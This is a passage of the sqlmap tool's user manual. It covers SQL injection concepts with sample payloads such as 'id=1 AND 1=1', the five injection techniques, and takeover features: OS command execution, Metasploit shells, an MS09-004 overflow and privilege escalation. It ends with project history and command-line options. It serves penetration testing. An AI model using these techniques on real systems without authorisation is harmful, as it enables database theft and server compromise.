Additionally, no sanitisation of user's supplied -input is taking place before the SQL statement is sent to the -back-end database management system. - -This is quite a common flaw in dynamic content web applications and it -does not depend upon the back-end database management system nor on the web -application programming language; it is a flaw within the application code. -The <htmlurl url="http://www.owasp.org" name="Open Web Application Security Project"> -rated this class of vulnerability as the <htmlurl -url="http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf" name="most -common"> and serious web application vulnerability in their -<htmlurl url="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" -name="Top Ten"> list from 2010. - -Now that you have found the vulnerable parameter, you can exploit it by -manipulating the <tt>id</tt> parameter value in the HTTP request. - -Back to the scenario, we can make an educated guess about the probable -syntax of the SQL <tt>SELECT</tt> statement where the user supplied value is -being used in the <tt>get_int.php</tt> web page. In pseudo PHP code: - -<tscreen><tt> -$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id']; -</tt></tscreen> - -As you can see, appending a syntactically valid SQL statement that will -evaluate to a <em>True</em> condition after the value for the <tt>id</tt> -parameter (such as <tt>id=1 AND 1=1</tt>) will result in the web application -returning the same web page as in the original request (where no SQL -statement is added). -This is because the back-end database management system has evaluated the -injected SQL statement. -The previous example describes a simple boolean-based blind SQL injection -vulnerability. -However, sqlmap is able to detect any type of SQL injection flaw and adapt -its work-flow accordingly. - -In this simple scenario it would also be possible to append, not just one or -more valid SQL conditions, but also (depending on the DBMS) stacked SQL -queries. For instance: <tt>[...]&id=1;ANOTHER SQL QUERY#</tt>. - -sqlmap can automate the process of identifying and exploiting this type of -vulnerability. -Passing the original address, <tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1</tt> -to sqlmap, the tool will automatically: - -<itemize> -<item>Identify the vulnerable parameter(s) (<tt>id</tt> in this example); -<item>Identify which SQL injection techniques can be used to exploit the -vulnerable parameter(s); -<item>Fingerprint the back-end database management system; -<item>Depending on the user's options, it will extensively fingerprint, -enumerate data or takeover the database server as a whole. -</itemize> -...and depending on supplied options, it will enumerate data or takeover the -database server entirely. - -There exist many <htmlurl url="http://delicious.com/inquis/sqlinjection" name="resources"> -on the web explaining in depth how to detect, exploit and prevent SQL -injection vulnerabilities in web applications. It is recommendeded that you read -them before going much further with sqlmap. - -<sect2>Direct connection to the database management system -<p> -Up until sqlmap version <bf>0.8</bf>, the tool has been <em>yet another -SQL injection tool</em>, used by web application penetration testers/newbies/curious -teens/computer addicted/punks and so on. Things move on -and as they evolve, we do as well. Now it supports this new switch, -<tt>-d</tt>, that allows you to connect from your machine to the database -server's TCP port where the database management system daemon is listening -on and perform any operation you would do while using it to attack a -database via a SQL injection vulnerability. - - -<sect1>Techniques - -<p> -sqlmap is able to detect and exploit five different SQL injection -<em>types</em>: - -<itemize> -<item><bf>Boolean-based blind SQL injection</bf>, also known as <bf>inferential -SQL injection</bf>: sqlmap replaces or appends to the affected parameter in -the HTTP request, a syntatically valid SQL statement string containing a -<tt>SELECT</tt> sub-statement, or any other SQL statement whose the user -want to retrieve the output. -For each HTTP response, by making a comparison between the HTTP response -headers/body with the original request, the tool inference the output of -the injected statement character by character. Alternatively, the user -can provide a string or regular expression to match on True pages. -The bisection algorithm implemented in sqlmap to perform this technique -is able to fetch each character of the output with a maximum of seven HTTP -requests. Where the output is not within the clear-text plain charset, -sqlmap will adapt the algorithm with bigger ranges to detect the output. -<item><bf>Time-based blind SQL injection</bf>, also known as <bf>full blind -SQL injection</bf>: sqlmap replaces or appends to the affected parameter in -the HTTP request, a syntatically valid SQL statement string containing a -query which put on hold the back-end DBMS to return for a certain number -of seconds. -For each HTTP response, by making a comparison between the HTTP response -time with the original request, the tool inference the output of -the injected statement character by character. Like for boolean-based -technique, the bisection algorithm is applied. -<item><bf>Error-based SQL injection</bf>: sqlmap replaces or appends to -the affected parameter a database-specific error message provoking statement -and parses the HTTP response headers and body in search of DBMS error messages -containing the injected pre-defined chain of characters and the subquery -statement output within. This technique works only when the web application -has been configured to disclose back-end database management system error -messages. -<item><bf>UNION query SQL injection</bf>, also known as <bf>inband SQL -injection</bf>: sqlmap appends to the affected parameter a syntatically -valid SQL statement starting with an <tt>UNION ALL SELECT</tt>. -This techique works when the web application page passes directly the output -of the <tt>SELECT</tt> statement within a <tt>for</tt> loop, or similar, so -that each line of the query output is printed on the page content. -sqlmap is also able to exploit <bf>partial (single entry) UNION query SQL -injection</bf> vulnerabilities which occur when the output of the -statement is not cycled in a <tt>for</tt> construct, whereas only the first -entry of the query output is displayed. -<item><bf>Stacked queries SQL injection</bf>, also known as <bf>multiple -statements SQL injection</bf>: sqlmap tests if the web application supports -stacked queries and then, in case it does support, it appends to the affected -parameter in the HTTP request, a semi-colon (<tt>;</tt>) followed by the -SQL statement to be executed. This technique is useful to run SQL -statements other than <tt>SELECT</tt>, like for instance, <em>data -definition</em> or <em>data manipulation</em> statements, possibly leading -to file system read and write access and operating system command -execution depending on the underlying back-end database management system -and the session user privileges. -</itemize> - - -<sect1>Demo - -<p> -You can watch several demo videos, they are hosted on <htmlurl -url="http://www.youtube.com/user/inquisb#g/u" name="YouTube">. - - -<sect>Features - -<p> -Features implemented in sqlmap include: - - -<sect1>Generic features - -<p> -<itemize> -<item>Full support for <bf>MySQL</bf>, <bf>Oracle</bf>, <bf>PostgreSQL</bf>, -<bf>Microsoft SQL Server</bf>, <bf>Microsoft Access</bf>, <bf>SQLite</bf>, -<bf>Firebird</bf>, <bf>Sybase</bf> and <bf>SAP MaxDB</bf> database -management systems. - -<item>Full support for five SQL injection techniques: <bf>boolean-based -blind</bf>, <bf>time-based blind</bf>, <bf>error-based</bf>, -<bf>UNION query</bf> and <bf>stacked queries</bf>. - -<item>Support to <bf>directly connect to the database</bf> without passing -via a SQL injection, by providing DBMS credentials, IP address, port and -database name. - -<item>It is possible to provide a single target URL, get the list of -targets from <htmlurl url="http://portswigger.net/suite/" name="Burp proxy"> -or <htmlurl url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project" -name="WebScarab proxy"> requests log files, get the whole HTTP request -from a text file or get the list of targets by providing sqlmap with a -Google dork which queries <htmlurl url="http://www.google.com" -name="Google"> search engine and parses its results page. You can also -define a regular-expression based scope that is used to identify which of -the parsed addresses to test. - -<item>Tests provided <bf>GET</bf> parameters, <bf>POST</bf> parameters, -HTTP <bf>Cookie</bf> header values, HTTP <bf>User-Agent</bf> header value -and HTTP <bf>Referer</bf> header value to identify and exploit SQL -injection vulnerabilities. It is also possible to specify a comma-separated -list of specific parameter(s) to test. - -<item>Option to specify the <bf>maximum number of concurrent HTTP(S) -requests (multi-threading)</bf> to speed up the blind SQL injection -techniques. Vice versa, it is also possible to specify the number of -seconds to hold between each HTTP(S) request. Others optimization switches -to speed up the exploitation are implemented too. - -<item><bf>HTTP <tt>Cookie</tt> header</bf> string support, useful when the -web application requires authentication based upon cookies and you have -such data or in case you just want to test for and exploit SQL injection -on such header values. You can also specify to always URL-encode the -Cookie. - -<item>Automatically handles <bf>HTTP <tt>Set-Cookie</tt> header</bf> from -the application, re-establishing of the session if it expires. Test and -exploit on these values is supported too. Vice versa, you can also force -to ignore any <tt>Set-Cookie</tt> header. - -<item>HTTP protocol <bf>Basic, Digest, NTLM and Certificate -authentications</bf> support. - -<item><bf>HTTP(S) proxy</bf> support to pass by the requests to the target -application that works also with HTTPS requests and with authenticated -proxy servers. - -<item>Options to fake the <bf>HTTP <tt>Referer</tt> header</bf> value and -the <bf>HTTP <tt>User-Agent</tt> header</bf> value specified by user or -randomly selected from a textual file. - -<item>Support to increase the <bf>verbosity level of output messages</bf>: -there exist <bf>seven levels</bf> of verbosity. - -<item>Support to <bf>parse HTML forms</bf> from the target URL and forge -HTTP(S) requests against those pages to test the form parameters against -vulnerabilities. - -<item><bf>Granularity and flexibility</bf> in terms of both user's -switches and features. - -<item><bf>Estimated time of arrival</bf> support for each query, updated -in real time, to provide the user with an overview on how long it will -take to retrieve the queries' output. - -<item>Automatically saves the session (queries and their output, even if -partially retrieved) on a textual file in real time while fetching the -data and <bf>resumes the injection</bf> by parsing the session file. - -<item>Support to read options from a configuration INI file rather than -specify each time all of the switches on the command line. Support also to -generate a configuration file based on the command line switches provided. - -<item>Support to <bf>replicate the back-end database tables structure and -entries</bf> on a local SQLite 3 database. - -<item>Option to update sqlmap to the latest development version from the -subversion repository. - -<item>Support to parse HTTP(S) responses and display any DBMS error -message to the user. - -<item>Integration with other IT security open source projects, -<htmlurl url="http://metasploit.com" name="Metasploit"> and <htmlurl -url="http://w3af.sourceforge.net/" name="w3af">. -</itemize> - - -<sect1>Fingerprint and enumeration features - -<p> -<itemize> -<item><bf>Extensive back-end database software version and underlying -operating system fingerprint</bf> based upon -<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="error messages">, -<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="banner parsing">, -<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="functions output comparison"> and -<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="specific features"> -such as MySQL comment injection. It is also possible to force the back-end -database management system name if you already know it. - -<item>Basic web server software and web application technology -fingerprint. - -<item>Support to retrieve the DBMS <bf>banner</bf>, <bf>session user</bf> -and <bf>current database</bf> information. The tool can also check if the -session user is a <bf>database administrator</bf> (DBA). - -<item>Support to enumerate <bf>database users</bf>, <bf>users' password -hashes</bf>, <bf>users' privileges</bf>, <bf>users' roles</bf>, -<bf>databases</bf>, <bf>tables</bf> and <bf>columns</bf>. - -<item>Automatic recognition of password hashes format and support to -<bf>crack them with a dictionary-based attack</bf>. - -<item>Support to <bf>brute-force tables and columns name</bf>. This is -useful when the session user has no read access over the system table -containing schema information or when the database management system does -not store this information anywhere (e.g. MySQL < 5.0). - -<item>Support to <bf>dump database tables</bf> entirely, a range of -entries or specific columns as per user's choice. The user can also choose -to dump only a range of characters from each column's entry. - -<item>Support to automatically <bf>dump all databases</bf>' schemas and -entries. It is possibly to exclude from the dump the system databases. - -<item>Support to <bf>search for specific database names, specific tables -across all databases or specific columns across all databases' -tables</bf>. This is useful, for instance, to identify tables containing -custom application credentials where relevant columns' names contain -string like <em>name</em> and <em>pass</em>. - -<item>Support to <bf>run custom SQL statement(s)</bf> as in an interactive -SQL client connecting to the back-end database. sqlmap automatically -dissects the provided statement, determines which technique fits best to -inject it and how to pack the SQL payload accordingly. -</itemize> - - -<sect1>Takeover features - -<p> -Some of these techniques are detailed in the white paper -<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857" -name="Advanced SQL injection to operating system full control"> and in the -slide deck <htmlurl url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database" -name="Expanding the control over the operating system from the database">. - -<itemize> -<item>Support to <bf>inject custom user-defined functions</bf>: the user -can compile a shared library then use sqlmap to create within the back-end -DBMS user-defined functions out of the compiled shared library file. These -UDFs can then be executed, and optionally removed, via sqlmap. This is -supported when the database software is MySQL or PostgreSQL. - -<item>Support to <bf>download and upload any file</bf> from the database -server underlying file system when the database software is MySQL, -PostgreSQL or Microsoft SQL Server. - -<item>Support to <bf>execute arbitrary commands and retrieve their -standard output</bf> on the database server underlying operating system -when the database software is MySQL, PostgreSQL or Microsoft SQL Server. -<itemize> -<item>On MySQL and PostgreSQL via user-defined function injection and -execution. -<item>On Microsoft SQL Server via <tt>xp_cmdshell()</tt> stored procedure. -Also, the stored procedure is re-enabled if disabled or created from -scratch if removed by the DBA. -</itemize> - -<item>Support to <bf>establish an out-of-band stateful TCP connection -between the attacker machine and the database server</bf> underlying -operating system. This channel can be an interactive command prompt, a -Meterpreter session or a graphical user interface (VNC) session as per -user's choice. -sqlmap relies on Metasploit to create the shellcode and implements four -different techniques to execute it on the database server. These -techniques are: -<itemize> -<item>Database <bf>in-memory execution of the Metasploit's shellcode</bf> -via sqlmap own user-defined function <tt>sys_bineval()</tt>. Supported on -MySQL and PostgreSQL. -<item>Upload and execution of a Metasploit's <bf>stand-alone payload -stager</bf> via sqlmap own user-defined function <tt>sys_exec()</tt> on -MySQL and PostgreSQL or via <tt>xp_cmdshell()</tt> on Microsoft SQL -Server. -<item>Execution of Metasploit's shellcode by performing a <bf>SMB -reflection attack</bf> (<htmlurl -url="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx" -name="MS08-068">) with a UNC path request from the database server to -the attacker's machine where the Metasploit <tt>smb_relay</tt> server -exploit listens. Supported when running sqlmap with high privileges -(<tt>uid=0</tt>) on Linux/Unix and the target DBMS runs as Administrator -on Windows. -<item>Database in-memory execution of the Metasploit's shellcode by -exploiting <bf>Microsoft SQL Server 2000 and 2005 -<tt>sp_replwritetovarbin</tt> stored procedure heap-based buffer -overflow</bf> (<htmlurl -url="http://www.microsoft.com/technet/security/bulletin/ms09-004.mspx" -name="MS09-004">). sqlmap has its own exploit to trigger the -vulnerability with automatic DEP memory protection bypass, but it relies -on Metasploit to generate the shellcode to get executed upon successful -exploitation. -</itemize> - -<item>Support for <bf>database process' user privilege escalation</bf> via -Metasploit's <tt>getsystem</tt> command which include, among others, -the <htmlurl -url="http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html" -name="kitrap0d"> technique (<htmlurl -url="http://www.microsoft.com/technet/security/bulletin/ms10-015.mspx" -name="MS10-015">). - -<item>Support to access (read/add/delete) Windows registry hives. -</itemize> - - -<sect>History - -<sect1>2011 - -<p> -<itemize> -<item><bf>April 10</bf>, <htmlurl name="Bernardo and Miroslav" -url="http://www.sqlmap.org/#developers"> release sqlmap -<bf>0.9</bf> featuring a totally rewritten and powerful SQL injection -detection engine, the possibility to connect directly to a database -server, support for time-based blind SQL injection and error-based SQL -injection, support for four new database management systems and much more. -</itemize> - -<sect1>2010 - -<p> -<itemize> -<item><bf>December</bf>, <htmlurl name="Bernardo and Miroslav" -url="http://www.sqlmap.org/#developers"> have enhanced sqlmap a -lot during the whole year and prepare to release sqlmap <bf>0.9</bf> -within the first quarter of 2011. -<item><bf>June 3</bf>, Bernardo <htmlurl name="presents" -url="http://www.slideshare.net/inquis/ath-con-2010bernardodamelegotdbownnet"> -a talk titled <em>Got database access? Own the network!</em> at AthCon -2010 in Athens (Greece). -<item><bf>March 14</bf>, <htmlurl name="Bernardo and Miroslav" -url="http://www.sqlmap.org/#developers"> release stable version of -sqlmap <bf>0.8</bf> featuring many features. Amongst these, support to -enumerate and dump all databases' tables containing user provided -column(s), stabilization and enhancements to the takeover functionalities, -updated integration with Metasploit 3.3.3 and a lot of minor features and -bug fixes. -<item><bf>March</bf>, sqlmap demo videos have been <htmlurl -name="published" url="http://www.youtube.com/inquisb#g/u">. -<item><bf>January</bf>, Bernardo is <htmlurl name="invited" -url="http://www.athcon.org/speakers/"> to present at <htmlurl -name="AthCon" url="http://www.athcon.org/archives/2010-2/"> conference in -Greece on June 2010. -</itemize> - -<sect1>2009 - -<p> -<itemize> -<item><bf>December 18</bf>, Miroslav Stampar replies to the call for -developers. Along with Bernardo, he actively develops sqlmap from version -<bf>0.8 release candidate 2</bf>. - -<item><bf>December 12</bf>, Bernardo writes to the mailing list a post -titled <htmlurl url="http://bernardodamele.blogspot.com/2009/12/sqlmap-state-of-art-3-years-later.html" -name="sqlmap state of art - 3 years later"> highlighting the goals -achieved during these first three years of the project and launches a call -for developers. - -<item><bf>December 4</bf>, sqlmap-devel mailing list has been merged into -sqlmap-users <htmlurl name="mailing list" url="http://www.sqlmap.org/#ml">. - -<item><bf>November 20</bf>, Bernardo and Guido present again their -research on stealth database server takeover at CONfidence 2009 in Warsaw, -Poland. - -<item><bf>September 26</bf>, sqlmap version <bf>0.8 release candidate -1</bf> goes public on the <htmlurl name="subversion repository" -url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/">, with all the attack -vectors unveiled at SOURCE Barcelona 2009 Conference. These include an -enhanced version of the Microsoft SQL Server buffer overflow exploit to -automatically bypass DEP memory protection, support to establish the -out-of-band connection with the database server by executing in-memory -the Metasploit shellcode via UDF <em>sys_bineval()</em> (anti-forensics -technique), support to access the Windows registry hives and support to -inject custom user-defined functions. - -<item><bf>September 21</bf>, Bernardo and <htmlurl name="Guido Landi" -url="http://www.pornosecurity.org"> <htmlurl name="present" -url="http://www.sourceconference.com/index.php/pastevents/source-barcelona-2009/schedule"> -their research (<htmlurl name="slides" -url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database">) -at SOURCE Conference 2009 in Barcelona, Spain. - -<item><bf>August</bf>, Bernardo is accepted as a speaker at two others IT -security conferences, <htmlurl url="http://www.sourceconference.com/index.php/pastevents/source-barcelona-2009" -name="SOURCE Barcelona 2009"> and <htmlurl url="http://200902.confidence.org.pl/" -name="CONfidence 2009 Warsaw">. -This new research is titled <em>Expanding the control over the operating -system from the database</em>. - -<item><bf>July 25</bf>, stable version of sqlmap <bf>0.7</bf> is out! - -<item><bf>June 27</bf>, Bernardo <htmlurl name="presents" -url="http://www.slideshare.net/inquis/sql-injection-not-only-and-11-updated"> -an updated version of his -<em>SQL injection: Not only AND 1=1</em> slides at <htmlurl name="2nd -Digital Security Forum" url="http://www.digitalsecurityforum.eu/"> in -Lisbon, Portugal. - -<item><bf>June 2</bf>, sqlmap version <bf>0.6.4</bf> has made its way to -the official Ubuntu repository too. - -<item><bf>May</bf>, Bernardo presents again his research on operating -system takeover via SQL injection at <htmlurl -url="http://www.owasp.org/index.php/OWASP_AppSec_Europe_2009_-_Poland" -name="OWASP AppSec Europe 2009"> in Warsaw, Poland and at <htmlurl -url="http://eusecwest.com/" name="EUSecWest 2009"> in London, UK. - -<item><bf>May 8</bf>, sqlmap version <bf>0.6.4</bf> has been officially -accepted in Debian repository. Details on <htmlurl -url="http://bernardodamele.blogspot.com/2009/05/sqlmap-in-debian-package-repository.html" -name="this blog post">. - -<item><bf>April 22</bf>, sqlmap version <bf>0.7 release candidate 1</bf> -goes public, with all the attack vectors unveiled at Black Hat Europe 2009 -Conference. -These include execution of arbitrary commands on the underlying operating -system, full integration with Metasploit to establish an out-of-band -TCP connection, first publicly available exploit for Microsoft Security -Bulletin <htmlurl url="http://www.microsoft.com/technet/security/Bulletin/MS09-004.mspx" -name="MS09-004"> against Microsoft SQL Server 2000 and 2005 and others -attacks to takeover the database server as a whole, not only the data from -the database. - -<item><bf>April 16</bf>, Bernardo <htmlurl url="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-archives.html#Damele" -name="presents"> his research (<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides" name="slides">, <htmlurl -url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857" -name="whitepaper">) at Black Hat Europe 2009 in Amsterdam, The Netherlands. -The feedback from the audience is good and there has been some -<htmlurl url="http://bernardodamele.blogspot.com/2009/03/black-hat-europe-2009.html" -name="media coverage"> too. - -<item><bf>March 5</bf>, Bernardo <htmlurl url="http://www.slideshare.net/inquis/sql-injection-not-only-and-11" -name="presents"> for the first time some of the sqlmap recent features and -upcoming enhancements at an international event, <htmlurl -url="http://www.owasp.org/index.php/Front_Range_OWASP_Conference_2009" -name="Front Range OWASP Conference 2009"> in Denver, USA. The presentation -is titled <em>SQL injection: Not only AND 1=1</em>. - -<item><bf>February 24</bf>, Bernardo is accepted as a <htmlurl -url="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-speakers.html#Damele" -name="speaker"> at <htmlurl url="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-main.html" -name="Black Hat Europe 2009"> with a presentation titled <em>Advanced SQL -injection exploitation to operating system full control</em>. - -<item><bf>February 3</bf>, sqlmap <bf>0.6.4</bf> is the last point release -for 0.6: taking advantage of the stacked queries test implemented in 0.6.3, -sqlmap can now be used to execute any arbitrary SQL statement, not only -<em>SELECT</em> anymore. Also, many features have been stabilized, tweaked -and improved in terms of speed in this release. - -<item><bf>January 9</bf>, Bernardo <htmlurl url="http://www.slideshare.net/inquis/sql-injection-exploitation-internals-presentation" -name="presents"> <em>SQL injection exploitation internals</em> at a -private event in London, UK. -</itemize> - -<sect1>2008 - -<p> -<itemize> -<item><bf>December 18</bf>, sqlmap <bf>0.6.3</bf> is released featuring -support to retrieve targets from Burp and WebScarab proxies log files, -support to test for stacked queries ant time-based blind SQL injection, -rough fingerprint of the web server and web application technologies in -use and more options to customize the HTTP requests and enumerate more -information from the database. - -<item><bf>November 2</bf>, sqlmap version <bf>0.6.2</bf> is a "bug fixes" -release only. - -<item><bf>October 20</bf>, sqlmap first point release, <bf>0.6.1</bf>, goes -public. This includes minor bug fixes and the first contact between the -tool and <htmlurl url="http://metasploit.com" name="Metasploit">: -an auxiliary module to launch sqlmap from within Metasploit Framework. -The <htmlurl url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/" -name="subversion development repository"> goes public again. - -<item><bf>September 1</bf>, nearly one year after the previous release, -sqlmap <bf>0.6</bf> comes to life featuring a complete code -refactoring, support to execute arbitrary SQL <em>SELECT</em> statements, -more options to enumerate and dump specific information are added, brand -new installation packages for Debian, Red Hat, Windows and much more. - -<item><bf>August</bf>, two public <htmlurl name="mailing lists" -url="http://www.sqlmap.org/#ml"> are created on SourceForge. - -<item><bf>January</bf>, sqlmap subversion development repository is moved -away from SourceForge and goes private for a while. -</itemize> - -<sect1>2007 - -<p> -<itemize> -<item><bf>November 4</bf>, release <bf>0.5</bf> marks the end of the OWASP -Spring of Code 2007 contest participation. Bernardo has <htmlurl -url="http://www.owasp.org/index.php/SpoC_007_-_SQLMap_-_Progress_Page" -name="accomplished"> all the propsed objects which include also initial -support for Oracle, enhanced support for UNION query SQL injection and -support to test and exploit SQL injections in HTTP Cookie and User-Agent -headers. - -<item><bf>June 15</bf>, Bernardo releases version <bf>0.4</bf> as a -result of the first OWASP Spring of Code 2007 milestone. This release -features, amongst others, improvements to the DBMS fingerprint engine, -support to calculate the estimated time of arrival, options to enumerate -specific data from the database server and brand new logging system. - -<item><bf>April</bf>, even though sqlmap was <bf>not</bf> and is <bf>not</bf> -an OWASP project, it gets <htmlurl url="http://www.owasp.org/index.php/SpoC_007_-_SqlMap" -name="accepted">, amongst many other open source projects to OWASP Spring -of Code 2007. - -<item><bf>March 30</bf>, Bernardo applies to OWASP <htmlurl -url="http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Applications#Bernardo_-_sqlmap" -name="Spring of Code 2007">. - -<item><bf>January 20</bf>, sqlmap version <bf>0.3</bf> is released, -featuring initial support for Microsoft SQL Server, support to test -and exploit UNION query SQL injections and injection points in POST -parameters. -</itemize> - -<sect1>2006 - -<p> -<itemize> -<item><bf>December 13</bf>, Bernardo releases version <bf>0.2</bf> with -major enhancements to the DBMS fingerprint functionalities and replacement -of the old inference algorithm with the bisection algorithm. - -<item><bf>September</bf>, Daniele leaves the project, <htmlurl -url="http://bernardodamele.blogspot.com" name="Bernardo Damele A. G."> -takes it over. - -<item><bf>August</bf>, Daniele adds initial support for PostgreSQL and releases -version <bf>0.1</bf>. - -<item><bf>July 25</bf>, <htmlurl url="http://dbellucci.blogspot.com" name="Daniele Bellucci"> -registers the sqlmap project on SourceForge and develops it on the -<htmlurl url="http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/" -name="SourceForge subversion repository">. The skeleton is implemented and -limited support for MySQL added. -</itemize> - - -<sect>Download and update - -<p> -sqlmap can be downloaded from its -<htmlurl url="http://sourceforge.net/projects/sqlmap/files/" name="SourceForge File List page">. -It is available in two formats: - -<itemize> -<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.tar.gz" -name="Source gzip compressed">. - -<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.zip" -name="Source zip compressed">. -</itemize> - -<p> -You can also checkout the latest development version from the -<htmlurl url="https://github.com/sqlmapproject/sqlmap" name="git"> -repository: - -<tscreen><verb> -$ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -</verb></tscreen> - -<p> -You can update it at any time to the latest development version by running: - -<tscreen><verb> -$ python sqlmap.py --update -</verb></tscreen> - -Or: - -<tscreen><verb> -$ git pull -</verb></tscreen> - -<p> -This is strongly recommended <bf>before</bf> reporting any bug to the -<htmlurl url="http://www.sqlmap.org/#ml" name="mailing list">. - - -<sect>Usage - -<p> -<tscreen><verb> -$ python sqlmap.py -h - - sqlmap/1.0 - automatic SQL injection and database takeover tool - http://www.sqlmap.org - -Usage: python sqlmap.py [options] - -Options: - --version show program's version number and exit - -h, --help show this help message and exit - -v VERBOSE Verbosity level: 0-6 (default 1) - - Target: - At least one of these options has to be specified to set the source to - get target urls from. - - -d DIRECT Direct connection to the database - -u URL, --url=URL Target url - -l LIST Parse targets from Burp or WebScarab proxy logs - -r REQUESTFILE Load HTTP request from a file - -g GOOGLEDORK Process Google dork results as target urls - -c CONFIGFILE Load options from a configuration INI file - - Request: - These options can be used to specify how to connect to the target url. - - --data=DATA Data string to be sent through POST - --cookie=COOKIE HTTP Cookie header - --cookie-urlencode URL Encode generated cookie injections - --drop-set-cookie Ignore Set-Cookie header from response - --user-agent=AGENT HTTP User-Agent header - --random-agent Use randomly selected HTTP User-Agent header - --referer=REFERER HTTP Referer header - --headers=HEADERS Extra HTTP headers newline separated - --auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM) - --auth-cred=ACRED HTTP authentication credentials (name:password) - --auth-cert=ACERT HTTP authentication certificate (key_file,cert_file) - --proxy=PROXY Use a HTTP proxy to connect to the target url - --proxy-cred=PCRED HTTP proxy authentication credentials (name:password) - --ignore-proxy Ignore system default HTTP proxy - --delay=DELAY Delay in seconds between each HTTP request - --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) - --retries=RETRIES Retries when the connection timeouts (default 3) - --scope=SCOPE Regexp to filter targets from provided proxy log - --safe-url=SAFURL Url address to visit frequently during testing - --safe-freq=SAFREQ Test requests between two visits to a given safe url - - Optimization: - These options can be used to optimize the performance of sqlmap. - - -o Turn on all optimization switches - --predict-output Predict common queries output - --keep-alive Use persistent HTTP(s) connections - --null-connection Retrieve page length without actual HTTP response body - --threads=THREADS Max number of concurrent HTTP(s) requests (default 1) - - Injection: - These options can be used to specify which parameters to test for, - provide custom injection payloads and optional tampering scripts. - - -p TESTPARAMETER Testable parameter(s) - --dbms=DBMS Force back-end DBMS to this value - --os=OS Force back-end DBMS operating system to this value - --prefix=PREFIX Injection payload prefix string - --suffix=SUFFIX Injection payload suffix string - --tamper=TAMPER Use given script(s) for tampering injection data - - Detection: - These options can be used to specify how to parse and compare page - content from HTTP responses when using blind SQL injection technique. - - --level=LEVEL Level of tests to perform (1-5, default 1) - --risk=RISK Risk of tests to perform (0-3, default 1) - --string=STRING String to match in page when the query is valid - --regexp=REGEXP Regexp to match in page when the query is valid - --text-only Compare pages based only on the textual content - - Techniques: - These options can be used to tweak testing of specific SQL injection - techniques. - - --technique=TECH SQL injection techniques to test for (default BEUST) - --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) - --union-cols=UCOLS Range of columns to test for UNION query SQL injection - --union-char=UCHAR Character to use for bruteforcing number of columns - - Fingerprint: - -f, --fingerprint Perform an extensive DBMS version fingerprint - - Enumeration: - These options can be used to enumerate the back-end database - management system information, structure and data contained in the - tables. Moreover you can run your own SQL statements. - - -b, --banner Retrieve DBMS banner - --current-user Retrieve DBMS current user - --current-db Retrieve DBMS current database - --is-dba Detect if the DBMS current user is DBA - --users Enumerate DBMS users - --passwords Enumerate DBMS users password hashes - --privileges Enumerate DBMS users privileges - --roles Enumerate DBMS users roles - --dbs Enumerate DBMS databases - --tables Enumerate DBMS database tables - --columns Enumerate DBMS database table columns - --schema Enumerate DBMS schema - --count Retrieve number of entries for table(s) - --dump Dump DBMS database table entries - --dump-all Dump all DBMS databases tables entries - --search Search column(s), table(s) and/or database name(s) - -D DB DBMS database to enumerate - -T TBL DBMS database table to enumerate - -C COL DBMS database table column to enumerate - -U USER DBMS user to enumerate - --exclude-sysdbs Exclude DBMS system databases when enumerating tables - --start=LIMITSTART First query output entry to retrieve - --stop=LIMITSTOP Last query output entry to retrieve - --first=FIRSTCHAR First query output word character to retrieve - --last=LASTCHAR Last query output word character to retrieve - --sql-query=QUERY SQL statement to be executed - --sql-shell Prompt for an interactive SQL shell - - Brute force: - These options can be used to run brute force checks. - - --common-tables Check existence of common tables - --common-columns Check existence of common columns - - User-defined function injection: - These options can be used to create custom user-defined functions. - - --udf-inject Inject custom user-defined functions - --shared-lib=SHLIB Local path of the shared library - - File system access: - These options can be used to access the back-end database management - system underlying file system. - - --file-read=RFILE Read a file from the back-end DBMS file system - --file-write=WFILE Write a local file on the back-end DBMS file system - --file-dest=DFILE Back-end DBMS absolute filepath to write to - - Operating system access: - These options can be used to access the back-end database management - system underlying operating system. - - --os-cmd=OSCMD Execute an operating system command - --os-shell Prompt for an interactive operating system shell - --os-pwn Prompt for an out-of-band shell, meterpreter or VNC - --os-smbrelay One click prompt for an OOB shell, meterpreter or VNC - --os-bof Stored procedure buffer overflow exploitation - --priv-esc Database process' user privilege escalation - --msf-path=MSFPATH Local path where Metasploit Framework is installed - --tmp-path=TMPPATH Remote absolute path of temporary files directory - - Windows registry access: - These options can be used to access the back-end database management - system Windows registry. - - --reg-read Read a Windows registry key value - --reg-add Write a Windows registry key value data - --reg-del Delete a Windows registry key value - --reg-key=REGKEY Windows registry key - --reg-value=REGVAL Windows registry key value - --reg-data=REGDATA Windows registry key value data - --reg-type=REGTYPE Windows registry key value type - - General: - These options can be used to set some general working parameters. - - -t TRAFFICFILE Log all HTTP traffic into a textual file - -s SESSIONFILE Save and resume all data retrieved on a session file - --flush-session Flush session file for current target - --fresh-queries 